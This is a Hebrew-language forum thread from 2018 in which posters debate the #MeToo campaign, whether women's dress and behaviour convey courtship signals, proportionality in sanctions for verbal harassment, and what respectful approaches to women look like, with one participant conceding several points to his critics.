אבל הדרישה הזו היא מעל ומעבר לתקשורת בשפה אנושית רגילה ובתחומים שונים. כאשר אני הולך למכולת, ויש מחיר על המוצר על המדף, זה בדיוק כפי שאני שואל את המוכר כמה זה עולה. התשובה שלו מובנת לי ולפיה אני אשלם. יתכן כמובן שהמוכר יאמר: "רגע, מה שמעת? חלמתי לרגע", או "עניתי ללקוח השני". אבל ללא מקרים מיוחדים אלו, התקשורת הרגילה היא המובנת והקובעת. מי שישאל כל פעם: רגע, האם הבנתי נכון, הוא זה שמבזבז את זמנם של אחרים ושל עצמו.
יתכן שהתחום של יחס לאשה ראוי לשינוי. יתכן. אבל אז אנו מוציאים אותו מכלל מערכות היחסים שמובנות מאליהן ומעבירים אותו למקום חדש.
ב. אמשלום כתבה, ואני מעתיק הכל. איני יודע איך לקצר. הכל חשוב.
"נקמת יתר" הוא ביטוי מגוחך. כשאתה טוען ל"יתר" אתה מניח שהפגיעה אינה חמורה כ"כ. אתה טועה. הפגיעות עליהן מתלוננים נשים וגברים הן חמורות ביותר, גם אם אינן פיזיות. וגרוע מכך – הן מצטברות. וגרוע עוד יותר – אנשים כמותך חושבים שהן שטותיות, נקמניות, בכייניות וכו'. זו אחת המטרות המוצהרות של "גם אני" - הקשיבו ותראו כמה הפגיעות האלה נפוצות, כמה אנחנו שותפים להן (לעתים בלי כוונה, לפעמים פשוט מחוסר תשומת לב). בואו נקשיב ונגלה עד כמה סובלות וסובלים אנשים בסביבתנו הקרובה, עד כמה הייתה ויש עדיין הדחקה של הכאב שלהם. בואו נקשיב ונראה שמי שפגע ופוגע בהם ראוי לגינוי אמיתי, לכעס, ללקח - כי בזה נמדדת חברה, באופן שבו היא מגינה באמת על הפגועים שבתוכה ולא באיך היא מתגייסת להגן על הפוגעים. (האם תתגייס להגן על גנב שצריך לשלם על פשעו או על מי שנגנב לו רכושו?) אני מבקש לחלוק מכל וכל. אני מסכים שפגיעה רגשית היא פגיעה. איני מסכים שגזילת ממון שווה לפגיעה רגשית. פגיעה רגשית יכולה להיות חמורה יותר. אבל גם אז זה תלוי בפוגע ובנפגע.
זה לא דומה מה שאדם זר לי יחשוב עלי או יאמר לי או ירמוז לי. יתכן שאני עצמי אפגע קשות, אבל אז אזכיר לעצמי שמה אני מתייחס אליו. כמובן, אם הפוגע הוא אדם קרוב, אם נניח האבא מבקר את הילדים בצורה קשה ודורסנית, זה כבר משהו אחר. הילד פחות עמיד. הילד תלוי בדעת המשפחה וההורים. אבל אדם שהולך ברחוב ושומע הערה מבזה, ושריקת התייחסות מגדרית היא לכל היותר כזו - צריך ללמוד שבחיים יש כל מיני טיפוסים.
יתכן שיש מקום לבקש לחנך את הדור הבא. אבל ענישה? פיטורין של אדם שמתבטא בצורה מגדרית? זוכרת את המונח המקסים "מידתיות"?
צריך לנהל דיון על מידתיות זו. ומידתיות כמובן אינה הקריטריון היחיד לענישה. לפעמים צריך לנהוג יותר בחומרה. וגם אז, צריך להביא בחשבון את השאלה האם בזמן העבירה היתה מודעות לנושא.
שיהיה ברור: איני מדבר על פגיעות פיזיות אלא על תגובות ברמה המילולית, קצרות, שנאמרו בתרבות אחרת.
ג. יש כאן 3 טענות.
הלבוש אינו משדר מסר. - יש לנו מחלוקת במציאות כפי שמכנים זאת בעולם הישיבות. התנהגות בוודאי משדרת מסר. ויש הבדלים תרבותיים.
למשל, עיכוס. יש תרבויות שבהן זו דרך ההליכה של אשה ויש תרבויות שבהן עיכוס זו הזמנה: תתחיל איתי, אני מעוניינת.
יש כמובן גברים ש"יתחילו עם כל אשה". אמנם גם לגביהם אני חושש שהפרשנות שלך פשטנית מדי. האם זה יצר המין או יצר העוצמה? או שיש לשניהם משהו משותף עמוק יותר? איני יודע. כמדומה שיש כמה גישות בפסיכולוגיה לבאר זאת. ההבדל בין תיאוריות בפסיכולוגיה כמדומה אינו ניתן להוכחה או להפרכה, אלא הוא נמדד בקריטריונים אחרים.
ד.
אמשלום כותבת
"גם אני" הוא קמפיין שנועד בראש ובראשונה כדי לאפשר לאנשים ונשים שהשתיקו את עצמם – מחמת הבושה, הפחד, תחושת הבדידות ("רק לי זה קרה, אז אולי אני הלא נורמלי") והאשמה – להשמיע את קולם. עצם השמעת הקול היא סוג של העצמה, והיא חודרת לאוזניים של מי שהתעקשו לא לשמוע, וגם של מי שמחמת חירשות זמנית או סתם חוסר רגישות לא שמעו (והם ממש לא בהכרח אנשים רעים)
אלו מילים מרגשות. אם הן משקפות את הקמפיין, זה יפה מאד. התרשמתי שזה לא כך אבל אני מכיר את הקמפיין מאד מאד מבחוץ. אם עדותך מדוייקת, קשה לי להבין איך מן הקמפיין הזה נולדו אירועים מהסוג שקראתי עליהם לפעמים בחדשות, כמו ברוטר למשל (אתר ימני דתי ברובו אז הוא כנראה חשוד אוטומטית...)
ה
אמשלום כותבת
אתה חוזר ומדבר על "חיזור", אבל מה שאתה מגן עליו זו "חזירות". אני לא מכירה אישה שתתלונן על כך שגבר ישאל אותה היא מעוניינת בתשומת הלב שלו. אני מכירה נשים רבות שסובלות מכך שאותו הגבר נענה פעמים רבות בשלילה, אבל אינו מקשיב וחוזר שוב ושוב
אז נראה לי שאין בינינו ויכוח, או שאפשר לצמצם זאת.
1. נשים כן מעוניינות שיתחילו איתן, אבל שיעשו זאת בצורה מכבדת.
טוב לדעת! אולי לא חרדים כי הם לא אמורים לעשות זאת. ובכלל, לא יהודים שומרי מצוות. אבל במגזרים אחרים זה מידע רב ערך.
כמובן השאלה היא איך מתחילים עם אשה. מכל הסיפורים (לא תמיד החיוביים) שקראתי, נדמה שאשה שמישהו יגש אליה וישאל בנעימות: האם תרצי שאתחיל איתך? תדחה אותו, כי הפניה תראה לה טפשית.
אבל אולי זה היה בתרבות אחרת.
2. גבר שקיבל תשובה שלילית וממשיך להציע הריהו חזיר (אפשר לחשוב על תארי גנאי אחרים אבל גם זה לא רע). גבר שמנסה ליצור מגע פיזי כאשר הוא נדחה זה עוד יותר גרוע.
מסכים לחלוטין.
3. הבעיה היא עם מקרי הבינים. ניסית לשאול או מישהי ניסתה לקיים משאל מה הצורות הלגיטימיות המועדפות של יצירת חיזור ובקשת רשות?
שוב, לפי הספרות, יש אופנים שונים של התחלת חיזור, והם מבוססים על הומור. "את לא מוכרת לי מאיזה מקום" זה משפט קלאסי שהוא כל כך שגור עד שהוא כמעט מייד יפסול את המציע - אלא אם כן הבחורה ממש מעוניינת בו מסיבות אחרות.
בעולם שעליו קראתי המגזר הנשי לא יעריך את מי שישאל במקום זה: בהתאם לכללי הפוליטיקלי קורקט, האם מותר לי לחזר אחריך? האשה תחשוב את הגבר ללוקה בתסמונת אספרגר.
אבל אולי העולם השתנה.
אולי המגזר הנשי רוצה לשנות. זכותו.
ה
אמשלום כותבת
מעודי לא טענתי (שוב – אתה שם מילים בפי ומניח שהקולות שאתה שומע באים ממני...) ש"גבר מעצם טבעו יתקשה להבין על מה נשים מדברות". אני חושבת שזו שטות. אם כולנו בני אדם, אזי למרות השוני בינינו אנחנו מסוגלים להבין רגשות של אדם אחר.
נכון, סליחה. ציטטתי מה ששמעתי או קראתי על הפמיניזם. לפי מה שקראתי יש שם כמה גרסאות, ואפילו לפי ה"רכות" יותר יש הבדל אפיסטמולוגי שנובע מהחלוקה בין גברים לנשים. טעיתי כאשר חשבתי שאת מחזיקה בגישה הזו.
|
|
|
|
|
| נשלח ב-23/7/2018 21:58 |
|
| |
אם מותר להחזיר את נושא האשכול הראשון למקומו.
קיבלתי בתיבה האישית על מנת לפרסם:
ישר לנושא -
אפשר גם לשאול האם פייסבוק הייתה גורמת יותר מהר לחורבן? מצלמים או מקליטים מישהו בקלקלתו, מפרסמים ועושים לו שיימינג ציבורי.
הרחמן ינחמנו
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
| נשלח ב-24/7/2018 07:10 |
|
| |
[מיימוני, א. "ההבנה של המסר לא הייתה כרוכה בהתלבטות" – זו שטות גמורה. האם כל האנשים והנשים שראו, למשל, אישה בביקיני, "הבינו" את המסר ה"ברור" שמותר לגעת בה בלי רשותה, להעיר לה או לתקוף אותה? בודאי שלא. מכאן, שהמסר והתשדורת אינם ברורים כ"כ ותלויים מאוד באוזני ה"שומע". מעבר לזה, ולנקודה שממנה התעלמת – מה בדיוק המסר שנשים לבושות ומכוסות (בעולמות מסורתיים מאוד כעולם החרדי או המוסלמי האדוק) משדרות? מדוע הן מותקפות? מדוע להן מעירים ו"מחמיאים" גם כאלה שאין להם שום קשר איתן? מדוע גם הן נאנסות?
ה"מסר" היחיד ש"משודר "באופן עקבי ע"י כל הנשים האלה הוא שהן נשים, ולכן גם חלשות יותר, נתונות למרותו ולסמכותו של כל גבר בעולם ונתונות לרצונו ולגחמותיו. לכל הפחות, זה המסר ששומעים גברים רבים. ב. מדוע מערכת היחסים בין גברים ונשים (או מערכות יחסים אינטימיות, רומנטיות, מיניות בכלל) היא "מובנת מאליה" או אמורה להיות כזו? מה יותר לא מובן מאליו ממתן אפשרות לאדם אחר לגעת בגוף שלך וליהנות ממנו? אולי כדאי לשאול להיפך – האם המובן מאליו היסודי ביותר אינו "גופי ברשותי" (כפי שמלמדים היום ילדים לומר, ואני מתרגשת תמיד לשמוע)? ועוד משהו - אנחנו עושים טעויות כל הזמן. כולנו. אנחנו פוגעים באנשים בלי כוונה, אנחנו לא תמיד רגישים , בד"כ בלי כוונה וכו'. זה לא היסטרי – מעירים לנו (או שאנחנו מבינים בעצמנו) ואנחנו מבקשים סליחה, ולומדים להבא. לא קרה כלום. זה נכון גם ביחסים מן הסוג המדובר בו כעת – אלא ששם יש טאבו על התיקון עצמו – מי שפגעו בו לא אמור להגיד כלום ולהעיר, ומי ש"מתוקן" מיד מתגונן (וזוכה להגנת כל העולם ואשתו, בדיוק כפי שאתה עושה כאן כעת), ובכלל אין לו הזדמנות לתקן את הטעות הקטנה ולמנוע מעצמו (ומאחרים) טעות חמורה בהרבה. ג. כשילדה, נערה או אישה הולכות ברחוב (ותאמין לי – זה ממש ממש לא משנה מה הן לובשות), והן חשופות כל הזמן להערות מסוג זה, הן חוות את העולם אחרת לגמרי ממך. הן חוות אותו כמקום בו אינן מוגנות, אינן ברשות עצמן (אלא אם כן יסתגרו בביתן – ומדוע שהן ייענשו???), אלא נתונות כל הזמן תחת מבט חודרני, שולט ומאיים. כן, מאיים, כי מי שמרשה לעצמו לדבר אלייך ועלייך באופן ישיר כ"כ מבלי שהוא מכיר אותך, האם אין סיכון – ולו קלוש שבקלושים – שגם ירשה לעצמו לגעת בך בלי רשותך ולתקוף אותך? החשש הזה והסיכון הזה הוא משהו שילדות, נערות ונשים חיות איתו יום יום. רובנו מצליחות להדחיק אותו (לפעמים), אבל הוא שם. אני לא חושבת שאתה מבין את זה. נסה לחשוב על כך בהקבלה ליהודי (שברור שהוא יהודי כמו שברור בד"כ מי בת) שחי בעולם בו הוא נתון באימה יומיומית מפני פגיעה מן הסביבה. מה המצב הרגשי הרגיל שלו? כיצד הוא בוחר את מסלול ההליכה שלו מביה"ס הביתה ומן הבית למכולת? מה הוא אומר לעצמו לפני שהוא יוצא מהבית בכל יום? מה הוא מזכיר לעצמו? כך אנחנו חיות. כל הזמן. כולנו.
(ולגבי דבריך על התנהגות ומסרים וכו' – אתה יכול לספר לעצמך מה שאתה רוצה, אבל סטטיסטית, נשים בחברות מסורתיות ושמרניות אינן נפגעות פחות מנשים במכנסיים צמודים או חצאיות קצרות). ד. איני יודעת על אילו אירועים אתה מדבר. ממה שאני שמעתי ומכירה, רובם בהחלט יכולים ליפול תחת ההגדרה של: "מי שהוא בעל זכויות יתר, חתירה לשוויון זכויות נדמית לו כפגיעה", ואם כך, חסוך ממני את הדרישה לרגישות ולחמלה (במיוחד מכיוון שאלה תמיד תמיד נדרשות מנשים, וכמעט לעולם לא מגברים...). ה. אני לא מכירה אישה שתזלזל ותידחה בגסות מישהו שישאל אותה בנימוס - את מוצאת חן בעיניי, האם זה בסדר שאשב לידך ואדבר איתך? רק בגלל שכך שאל אותה. זה לא אספרגר, זה נימוס אלמנטרי. אנשים שכ"כ רגישים להתנהגות "מנומסת" כאשר אינה מופנית כלפיהם (למשל כאלה שפוחדים נורא מנקמנות יתר, וכשהם שומעים את צעקת הנפגעת וזעקת הרש הם מתלוננים שיש רעש בין 2 ל-4), פתאום – כשהדבר נדרש מהם – חושבים שנימוס זו דרישה מוגזמת?! ו. אתה מדבר על גישות מסוימות בפמיניזם הרדיקלי (ודאי לא הגרסה ה"רכה" – אם יש כזו – של הפמיניזם). איני שייכת אליו, והעולם הפמיניסטי בכללו היום (כדרכן של תנועות בעולם המחשבה והפילוסופיה) מדוייק יותר ומורכב יותר ממה שנאמר ונעשה בשנות ה-70 של המאה ה-20. (להגנתך אומר, שהפמיניזם האורתודוקסי היהודי, שאולי הוא זה אליו אתה נחשף, אכן עדיין עסוק בתוך ההגדרות של הפמיניזם הרדיקלי, מסיבות שונות, שלא זה המקום לפרטן. בכל מקרה גם אורתודוקסית מעולם לא הייתי). הדברים שאמרת הפוכים היפוך גמור מכל מה שאי פעם כתבתי ואמרתי כאן בפורום הזה במהלך השנים.]
|
|
|
|
|
| נשלח ב-24/7/2018 13:06 |
|
| |
אמשלום
הארת את עיני בכמה נקודות. עדיין ארשה לעצמי להעיר כמה הערות נוספות. בנקודות שבהן אני רואה שאת צודקת כמובן אסכים.
א
כתבת
האם כל האנשים והנשים שראו, למשל, אישה בביקיני, "הבינו" את המסר ה"ברור" שמותר לגעת בה בלי רשותה, להעיר לה או לתקוף אותה? בודאי שלא
אני נאלץ להיכנס לחילוקים או לדקויות. ומה שאני כותב מבוסס על ספרים שמזכירים נקודות כאלו אגב גררא, או על נסיון שלי להעמיד את עצמי במצבים אלו בדמיוני, ובכל אופן אין לי יותר מהשערה.
כאשר אשה לובשת בגדים האופיינים לסביבה היא לא אמורה להראות כמי שמחפשת חיזור. אבל כאשר היא משנה את קוד הלבוש היא נראית כמזמינה.
זו בעיה לדעתי של המגזר שלנו. אין אנו רגילים לראות נשים שלא בלבוש צנוע בהתאם לסטנדרטים שלנו (שהם עצמם מחמירים מבחינות מסויימות יחסית למה שהיה נניח באמצע המאה שעברה או קודם - או מקילים יותר כמו פאה ארוכה). לפיכך, החרדי יחוש בהכירו לראשונה נשים חילוניות שהן כולן מי יודע מה, שהרי איך הן מתלבשות בצורה כזו, ואין עולה בדעתו שזו רמת הלבוש התקנית והן בהחלט צנועות לפי הקריטריונים שלהן.
שוב, לא על כך אני מדבר אלא על רמות שונות של איתות או מסר המשתמעים מצורת לבוש. ולא רק מצורת לבוש אלא התנהגות. ונקטתי בדוגמא של עיכוס מפני שאחד החוקרים הראשונים בתחום נתן דוגמא כזו לפני עשרות שנים, כאשר תיאר צורת הילוך של נערה באמריקה הלטינית מול ארה"ב. בכל מקום יפרשו זאת אחרת.
לפיכך, דומה שאנו מדברים על שתי תופעות נפרדות. לבוש לא אמור לשדר הזמנה לקשר אבל הוא כן יכול לעשות זאת. תלוי בהקשר - אבל זו לא אמירה טריויאלית, כפי שמוכיח הדיון שלנו.
אמנם, דומה שלפי מה שראיתי יש אכן תופעה - ראויה לחינוך מחדש - של גברים שסבורים שכל אשה מיועדת או רוצה שיתחילו איתה, ויתפלאו כשהיא מכחישה, ולא ירצו להאמין לה. וזו אכן בעיה. וצריך לחשוב איך מטפלים בה.
ב. מסכים שצריך להיזהר, וצריך לדעת לבקש סליחה. ושימי לב שדו שיח ברמה כזו:
לא שמת לב, אבל חשתי שאתה מסתכל עלי, יותר מהרגיל, וזה לא נעים לי.
סליחה.
זה בסדר.
זה האופן שדברים היו אמורים להתרחש.
ג.
את מתארת מצב עגום מאד. אני בהחלט יכול להתחבר לתחושה של היהודי הנרדף, היהודי בסיכון. אני חושש שיש כאלו תופעות גם בארץ...
לא שיערתי שכל אשה חשה כך בסביבות המצויות בחברה המודרנית.
ועוד, זו נקודה שחוזרת על עצמה כמה פעמים בדיון הזה. לא דנתי בשאלה היכן רווחים יותר מעשי פגיעה ובאיזו חומרה, בחברות מסורתיות עם לבוש ארוך או בחברות מודרניות עם לבוש קצר.
אני סבור כמוך שהקביעה "גופי ברשותי" היא חשובה מאד וכמובן לא רק בהקשר מיני. והיא בהחלט מסמלת דבר טוב, וזה יכול להגיע למחוזות שצריך לחשוב אם לתמוך בהם: מלמדים את הילד מגיל צעיר שהוא אינו כפוף למערכות חיצוניות שיכולות לפגוע בו. אפשר להמשיך עם הקו הזה עד לשאלה על הכפיפות של אדם לכל מערכת חיצונית, החל במדינה ועבור להלכה ועבור לריבונו של עולם...
ד.
האם את טוענת שלא ידוע לך על אירועים שבהם היו סנקציות מוגזמות או שאת מתכוונת שידוע לך אבל את תומכת בכל מה שנעשה שם?
שתי דוגמאות עולות בדעתי. אחת מהן עוסקת באיזה מנכ"ל קולנוע שהפיק סדרה מאד מצליחה ונחשף שהתבטא בצורה גסה. עד כמה שהבנתי, כי לא קראתי אלא רק ראיתי כותרת, היה מדובר רק בהקלטות או בהעתקות של מסרונים שבהם עשה שימוש בבדיחות שאינן בטעם טוב. הרחיקו אותו מהסדרה שלו.
האם אני מדייק?
אם המקרה הזה היה כך, האם נעשה לו לפי מה שמגיע לו, ולפי איזו מערכת שיפוט שאנו יכולים להתחבר אליה? אולי לא היה מגיע לו אבל צריך "למען יראו וייראו"?
אדגיש: איני מדבר על המקרים שבהם היו מעשי אונס שהושתקו. אלו דברים חמורים שאסור להתעלם מהם.
המקרה השני עוסק, שוב לפי הכותרת, באיזו מפיקה ושחקנית (נדמה לי) שהשתמשה בביטוי גזעני, אולי הN-WORD המפורסמת, כלפי מישהי אחרת, בגלל שחשבה בטעות שהיא לבנה כמוה. ( -N-WORD - כושי, מילה מקובלת שהפכה למילת גנאי הכי קשה במילון).
היא פוטרה ונלקחה ממנה התוכנית שלה. אמנם היא גם חטאה בעוד חטא. היא הצביעה לטראמפ והודתה שעשתה את זה ובלי להתבייש.
ה.
אני מקבל את עדותך ושמח עליה. לפי הסיפורים שקראתי בנערותי ולפי התיאורים המזלזלים בכל אלו שמנסים "להתחיל" עם התחכמויות, נראה שפעם היה אחרת. יתכן גם שיש לחלק בין רמות חברתיות ותרבותיות.
ו.
כתבתי שאני כותב לפי מה שקראתי על פמיניזם. טוב לדעת שהגרסה הקיצונית התמתנה. אם כי זה לא אומר שטענה אפיסטמולוגית כגון זו, עד כמה שהיא מוקצנת, אינה ראויה להתייחסות. אני מנסה לשמוע כל שיטה גם אם איני מסכים איתה, ולהסביר לעצמי מדוע איני מסכים.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
| נשלח ב-24/7/2018 13:25 |
|
| |
מואדיב
.
חוששני, מיימוני ואמא שלום, שהפער התרבותי בין שני העולמות בהם אתם חיים, מעולם לא היה כל-כך דוקר את העין.
מיימוני, אין לי אלא לומר כי המשכיל בעת ההיא ידום.
=======
אתחיל מהנחות היסוד:
הינחת למעלה כי בחירת הלבוש של אדם, היא צורת תקשורת. דרך להעברת מסר לסביבה. "אם אני מתלבש כמו חרדי, אני מציג את עצמי כמי שניתן או לא ניתן לפנות אליו באופן מסויים, למטרות מסויימות..."
אני מניח כי בהנחתך זו, לא לקחת בחשבון שלא כל אחד יכול לבחור את דרך הלבוש שלו. למשל, תלמיד כולל בבני ברק, אולי רוצה להעביר את המסר המובע באמצעות לבישת מכנסי טרלין שחורים בשילוב עם חולצה בצבע תכלת - אך הוא אינו יכול להרשות לעצמו ללבוש חולצה שאינה לבנה. האם בבחירת החולצה הלבנה הוא באמת בחר להעביר מסר, או שאין לו בכלל חלופה?
על קומת הקלפים הראשונה הזו, הנחת את הקומה השניה בבית הקלפים שלך - ההנחה כי אשה המתלבשת בצורה מסויימת, עושה זאת כדי להעביר את המסר שהיא מעוניינת במחמאות, או בכל צורת חיזור אחרת.
ועל קומת הקלפים המונחת הזו - הרהבת עוז להניח קומת קלפים שלישית - שקמפיין #גם_אני בא להעביר את המסר ש"אני אתלבש איך שאני ארצה" ואתם לא תניחו מראש שאני חלק מהעדר רודף המחמאות "
הנחה על הנחה על הנחה.
אתה באמת חושב שאשה שמתלוננת על כך שמישהו ניסה לאנוס אותה, עושה את זה כדי להעביר את המסר שהלבוש שלה לא מזמין אנשים להחמיא לה? שהבחירה במלים "גם אני" לא באה להעביר את המסר על השכיחות הגבוהה של התופעה?
את הדברים שלך, כמעט אפשר היה לסכם במלים המפורסמות: "הממזרים שנו את הכללים ושכחו לספר לנו".
|
|
|
|
|
| נשלח ב-24/7/2018 15:40 |
|
| |
הרעיון שלך בפוסט הזה הוא לשאול מה היה קורה אילו נשנה אגדה שהיא בעצם סיפור מעשה שלא היה ולא נברא גם בעיני מי שכתב אותו . זה כאילו להתערב בסיפור כיפה אדומה ולשאול מה היה קורה אם לכיפה אדומה ולסבתה היה סמארטפון? האם סבתא הייתה נטרפת על ידי הזאב או לא.....
אבל אם נלך קצת יותר רחוק עם הרעיון שלך אז השאלה היותר מעניינת לדעתי היא מה היה קורה אם היה פייסבוק בזמן מתן תורה .
יש להניח שמשה לא יכול היה לעבוד על כל כך הרבה אנשים עם מצלמות ....
|
|
|
|
| נשלח ב-24/7/2018 18:21 |
|
| |
מואדיב
יפה כתבת. ותודה.
כנראה אני לא כזה משכיל וחכם. כשאני נתקע, אני מעדיף לדון ולבדוק היכן טעיתי.
למשל -
לא הנחתי שתלמיד ישיבה בוחר את הלבוש שלו מפני שזה האידיאל שלו. לפעמים כך, לפעמים אחרת.
אבל
הלובש, לפחות בבני ברק, מודע לכך שהלבוש שלו מביע משהו. קבוצת השתייכות.
כמובן, כל לבוש הוא פונקציה של דברים רבים נוספים. כמו השאלה מה הבגדים המונחים בארון הבגדים, כמה מהם נקיים וכמה לא כדאי לצאת בהם החוצה, ועוד.
ועם זאת
יש סמלים חיצוניים שבהם אנו מזהים את עצמנו כמשתייכים לקבוצה מסויימת. כמעוניינים במשהו מסויים או מתנגדים לו.
כאשר קבוצה מספיק גדולה משתמשת באופן ההתנהגות הזה כמעביר מסר מסויים, מי שבחר, בכוונה או בטעות, בסמל החיצוני הזה, כבר הזדהה.
זו ההנחה שלי והיא מתחום הסוציולוגיה (ואני כידוע סוציולוג, אולי עלוב, של כורסה).
האם הלבוש במאה ה21, בשנת 2018, הוא גם כן סמל כזה? יתכן שכפי שיש מחאה נגד הנסיון לשייך אדם אפילו למין כלומר למגדר מסויים, כך צפוי שלבוש לא יחייב. הגבר יופיע בשמלה, האשה במכנסים, הרב בלי כיפה ובג'ינס (עד כאן הדמיון שלי מגיע), החילוני המוצהר בלבוש חרדי. למה מי אתם שתגידו לי מה ללבוש.
כתבת שאם הלבוש כפוי ולא ניתן לבחירה, אזי אי אפשר לראות בו משקף את המשמעות הנובעת מן הסמל. זה לדעתי נכון חלקית. גם הבחור שלובש "חרדית" אולי אינו רוצה להיות משוייך, אבל כל זמן שהוא חלק מן התרבות הוא חרדי לפחות במובן זה. אם הוא מצפה שיתייחסו אליו, נניח, בתור דתי לאומי או חילוני שרק מתלבש כך, יהיה עליו להבהיר: אל תסתכלו על הקנקן, תסתכלו במה שיש בו.
מה הלבוש הנשי אמר בתקופות מסוימות ובמקומות מסויימים, ובאיזה מידה מנעד התגובות היה לגיטימי ועל פי איזה סולם ערכים ושיפוט, זה עוד דבר.
כמובן, האמירה הראשונה שלך שאני שייך לתרבות מצומצמת ומתוכה אני כותב, אתה צודק. מודעות לכך שאני בא מרקע מסויים והתיימרות להשתמש בידע מדעי למחצה כדי לא להיות מוגבל על ידי זה - יתכן שזה מועד לכשלון. כמו פה.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");
|
|
|
|
|
|
